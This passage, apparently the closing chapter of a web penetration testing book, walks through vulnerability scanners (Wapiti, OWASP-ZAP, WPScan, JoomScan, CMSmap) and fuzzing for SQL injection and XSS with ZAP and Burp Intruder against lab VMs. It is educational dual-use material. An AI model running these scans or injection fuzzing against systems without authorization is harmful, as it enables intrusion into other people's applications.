• XSS (cross-site scripting) injection (reflected and permanent)
• Command execution detection (eval(), system(), passtru()…)
• CRLF injection (HTTP response splitting, session fixation…)
• XXE (XML External Entity) injection
• Known potentially dangerous files (thanks to Nikto database)
• Weak .htaccess configuration that can be bypassed
• Existence of backup files providing sensitive information (source code disclosure)
• Shellshock (also known as Bash vulnerability)

To launch Wapiti, you need to type the wapiti command in the command line, then the URL to scan and options.

In the following screenshot, Wapiti runs on an HTTPS site on a vulnerable VM, generating a report stored in the wapiti_output directory (using the -o option). You can skip SSL certificate verification because the test VM has a self-signed certificate. Without such verification, Wapiti will stop scanning, so use --verify-ssl 0 to bypass verification. You should not send more than 50 variants of the same request (using the -n option). This is done to prevent loops. Finally, use 2> null to prevent excessive standard error output because the scanner will send multiple requests with unexpected values and Wapiti can be very verbose:

wapiti https://10.7.7.5/bodgeit/ -o wapiti_output --verify-ssl 0 -n 20 2>null 

You will then see the following output on the screen.

Scanning takes some time. When completed, open the index.html file in the specified directory to view the results. Here is an example of vulnerabilities reported by Wapiti.

Wapiti's report is very detailed, including a description of each finding, the request used to trigger the potential vulnerability, suggested solutions, and references for obtaining more information. In the previous screenshot, you can see it found an XSS vulnerability in BodgeIt's search page.

OWASP-ZAP Scanner

Among the many features of OWASP-ZAP, there is an active vulnerability scanner. In this case, "active" means the scanner actively sends specially crafted requests to the server, unlike passive scanners that only analyze requests and responses sent by the web server through a proxy while normally browsing the application.

To use the scanner, you need to right-click the site or directory to scan and select Attack | Active Scan….

The active scanner does not perform any crawling or spidering on the selected target. Therefore, it is recommended that you manually browse the target site while setting up the proxy, or run the spider before scanning a directory or host.

In the Active Scan dialog, you can select the target, whether to perform recursive scanning, and if you enable advanced options, you can select scan strategy, attack vectors, target technology, and other options.

After clicking "Start Scan", the Active Scan tab gains focus, and scan progress and request logs are displayed there.

Scan results are recorded in the Alerts tab.

Additionally, using Reports from the main menu, you can export results in multiple formats such as HTML, XML, Markdown, or JSON. The following screenshot shows what the HTML report looks like.

OWASP-ZAP also sorts its scan results by risk level and includes detailed descriptions of the discovered issues, the payloads used, solution suggestions, and references.

Burp Suite also has an active scanner in its Professional edition that can provide very accurate results with a low false positive rate.

Content Management System Scanners

Content Management Systems (CMS) like WordPress, Joomla, or Drupal are frameworks for creating websites that require almost no programming. They integrate third-party plugins to simplify tasks such as login and session management, search, and even complete shopping cart modules.

Therefore, CMSs are vulnerable to attacks not only in their own code but also in the plugins they include. The latter are not under consistent quality control and are usually made by independent programmers in their spare time, releasing updates and patches on their own schedules.

Therefore, we will now introduce some of the most popular CMS vulnerability scanning tools.

WPScan

WPScan, as its name suggests, is a vulnerability scanner focused on the WordPress CMS. It will identify the WordPress version number and the version numbers of installed plugins, then match them against a database of known vulnerabilities to determine possible security risks.

The following image shows basic WPScan usage by simply adding the target URL as a parameter.

When running for the first time, you may need to use the --update option to update the database.

JoomScan

JoomScan is a vulnerability scanning tool for Joomla websites included in Kali Linux. To use it, simply add the -u option followed by the site's URL, as follows:

joomscan -u http://10.7.7.5/joomla  

JoomScan first attempts to identify the server by detecting the Joomla version and plugins, as shown in the following image.

After that, JoomScan will display vulnerabilities related to the detected configuration or installed plugins.

CMSmap

CMSmap is not included in Kali Linux but can be easily installed from its Git repository, as follows:

git clone https://github.com/Dionach/CMSmap.git 

CMSmap is used to scan vulnerabilities in WordPress, Joomla, or Drupal websites. It has the ability to automatically detect which CMS the site uses. It is a command-line tool where you need to specify the target site using the -t option. CMSmap displays the vulnerabilities it finds, prefixed with an indicator of severity: [I] for information, [L] for low, [M] for medium, and [H] for high, as shown in the following image.

The --noedb option used in the screenshot prevents WordPress from looking for exploits for identified vulnerabilities in the Exploit Database (www.exploit-db.com/) because our Kali Linux VM is not connected to the internet. Attempting to connect to external servers will result in errors and delays in obtaining results.

Fuzzing Web Applications

Fuzzing is a testing mechanism that sends specially crafted (or random, depending on the type of fuzzing) data to a software implementation through regular inputs. The implementation can be a web application, thick client, or process running on the server. It is a black-box testing technique that injects data in an automated manner. Although fuzzing is primarily used for security testing, it can also be used for functional testing.

From the previous definition, one might think fuzzing is the same as any vulnerability scanning. Yes, fuzzing is part of the vulnerability scanning process, which can also involve fingerprinting and crawling web applications and analyzing responses to determine if vulnerabilities exist.

Sometimes we need to separate fuzzing from the scanning process and execute it independently, so we can decide what test inputs to send and analyze the test results rather than having the scanner decide. This gives us better control over which test values to send to the server in which parameters.

Using OWASP-ZAP Fuzzer

The OWASP-ZAP Fuzzer can be run from the site map, proxy history, or request panel by simply right-clicking the request to fuzz and selecting Attack | Fuzz…, as shown in the following image.

After doing this, the fuzzing dialog appears where you can select insertion points; that is, the parts of the request where you want to try different values to analyze the server's response. In the following example, we selected the value of the q parameter in the search of BodgeIt in the OWASP BWA vulnerable VM.

Note that two payload lists have already been added. To do this, select the text to fuzz test, in this case the value of q, and click "Add…" on the right (in the Fuzz Locations tab) to show the payload dialog. Then click "Add…" in that dialog. You will get the first payload list from the file /usr/share/wfuzz/wordlist/injections/SQL.txt.

This file contains fuzzing strings that will help identify SQL injection vulnerabilities. Select File as the payload type, click "Choose…" and browse to the file to load, as shown in the following screenshot. Then click "Add" to add that list to the fuzzer.

Next, use the second payload to test XSS. This time you will use the file fuzzer as the type. This is a set of fuzzing strings included by default in OWASP-ZAP. From these fuzzers, select some XSS lists from JbroFuzz | XSS.

Other options available in OWASP-ZAP for fuzzing strings are as follows:

• Null/Empty Values: This option submits the original value (no changes)
• Numbers: This option generates a range of numbers, allowing you to define start value, end value, and increment
• Regex: This option generates a certain number of strings matching a given regular expression
• Script: This option allows you to use scripts (loaded from "Tools" | "Options…" | "Scripts") to generate payloads
• Strings: This option displays a manually provided simple string list

Once all insertion points and their corresponding fuzzing inputs are selected, you can start the fuzzer by clicking "Start Fuzzer". The fuzzer tab will then be displayed in the bottom panel.

In the next screenshot, you can see the results of fuzzing. The Status column shows the tool's initial diagnosis, indicating the likelihood that such requests lead to exploitable vulnerabilities. Note the word "Reflected" in the example. This means the string sent by the fuzzer has been returned by the server as part of the response. We know this is an indicator of XSS.

To further explore whether there are exploitable vulnerabilities in the results displayed in the fuzzer tab, you can select any request and its headers and body. The corresponding response will be displayed in the relevant section in the central panel. The response will highlight suspicious strings. This allows you to see at a glance if there is a vulnerability and whether that specific test case is worth further investigation. If this is the case, you can right-click the request and select "Open/Resend with Request Editor" to start the request editor and manipulate and resend the request.

Another option for further investigating requests you think may lead to exploitation is to replay that request in the browser so you can see its behavior and the server's response. To do this, right-click the request, select "Open URL in Browser", and choose your preferred browser. This will open the browser and make it submit the selected request.

Burp Intruder

You have already used Intruder in previous chapters for various tasks, and you have realized its power and flexibility. Now we will use it to fuzz the BodgeIt login page to look for SQL injection vulnerabilities. The first thing you need to do is send a valid login request from the proxy history to Intruder. This can be done by right-clicking the request and selecting "Send to Intruder".

Once in Intruder, you will clear all insertion points and add an insertion point in the username value, as shown in the following image.

The next step is to set the payloads. For this, go to the Payloads tab, click "Load…" to load a file, and go to /usr/share/wfuzz/wordlist/injections/SQL.txt.

Next, to make it easier to identify interesting requests, you will add some matching rules so you can judge from the attack dialog whether a request caused an error or contained interesting words. Add the following terms in the Grep - Match section in Options:

• error: This will be useful when you want to know if input triggers an error, as basic SQL injection displays error messages when modifying query syntax
• SQL: If the error message does not contain the word error, you want to be notified when input triggers a response containing the word SQL
• table: Add this when you expect detailed SQL error messages containing table names
• select: Add this in cases where SQL statements are leaked

The term list above is by no means the best list for response matching. It is for demonstration purposes only. In real situations, one would first manually analyze the actual responses given by the application and then select terms that match the context and the vulnerability being sought. The following screenshot shows what an example matching list looks like.

Once all attack parameters are configured, you can start the attack. error matches quickly. You can see each response matched table, so this is not a good choice. At least in the initial responses, SQL and select did not match. If you select a response that has error checked, you will see a "System Error" message at the top of the page, which seems to be triggered when the payload contains a single quote.

This could be an indicator of SQL injection worth investigating further.

To see how this request behaves if executed from the browser, you can right-click in any component of Burp Suite and select "Request in Browser". You can choose whether to use the original session (the session cookie that sent the request) or the current session (the session cookie the browser currently has).

When you send a request from Burp Suite to the browser, you get a URL starting with http://burp/repeat/ that you need to copy and paste into the browser where you want to replay the request. Burp Suite does not launch a browser like ZAP does.

The following screenshot shows how the request in the example appears in the browser. It clearly should not have a "System Error" message, and you should investigate that request further and manually try variants to achieve SQL injection.

Post-Scanning Actions

Unfortunately, companies providing penetration testing services often only perform vulnerability scanning and customize and adjust reports without a manual testing phase, without verifying whether the so-called vulnerabilities found by the scanner really exist. This not only fails to provide any value to clients, who could themselves download a vulnerability scanner and scan their applications, but also damages the perception of security services and security companies in the market, making it harder for those providing quality services to position these services at competitive prices.

After the scanner generates the scan report, you cannot simply say you found X and Y vulnerabilities based on the report alone. Because scanners always produce false positives (reporting vulnerabilities that do not exist) and false negatives (vulnerabilities the scanner missed), you must also perform manual testing to find and report vulnerabilities not covered by automated tools, such as authorization issues, business logic bypass or abuse, etc., in order to verify that all findings reported by the scanner are truly vulnerabilities.

Summary

In this chapter, we discussed the risks of using automated vulnerability scanners in web application penetration testing and the considerations needed before using these tools.

We then introduced the use of some scanners included in Kali Linux, such as Nikto, Skipfish, Wapiti, and OWASP-ZAP. We also discussed specialized scanners for content management systems like WordPress, Joomla, and Drupal. We discussed fuzzing as a technique different from scanning. We used OWASP-ZAP's fuzzer and Burp Intruder to test multiple inputs on a single input.

Finally, we discussed some tasks that need to be completed after automated scanning or fuzzing. You need to verify the scanner's results to eliminate all false positives, and you need to manually test the application because some vulnerabilities cannot be found by automated scanners.

With this chapter, we conclude this book. Penetration testing is a field for continuous learning. Penetration testers need to keep up with technology, and although methodologies are changing, old methods should not be forgotten because nowadays organizations often use outdated frameworks coexisting with advanced technologies.

This book provided an overview of web penetration testing, general overview of methodologies and techniques to help you identify, exploit, and correct the most common vulnerabilities in web applications. You need to continue your learning journey by learning more from different sources, conducting research, practicing, and then practicing more. Additionally, knowledge of other areas like development, networking, and operating systems is beneficial as it allows you to connect the application with its environment and better assess the actual risks it poses.

Beyond the valuable applications mentioned in this book and other similar applications available, public bug bounty programs like HackerOne (www.hackerone.com/) and BugCrowd (www.bugcrowd.com/) are excellent ways for less experienced testers to gain experience by testing real applications and getting paid for it.

I hope you, the reader, find this book interesting and useful for your purposes, whether to understand web application security to improve your development process, to pursue a career in penetration testing, or as an experienced penetration tester to improve your skills and expand your testing toolkit. Thank you for reading this book.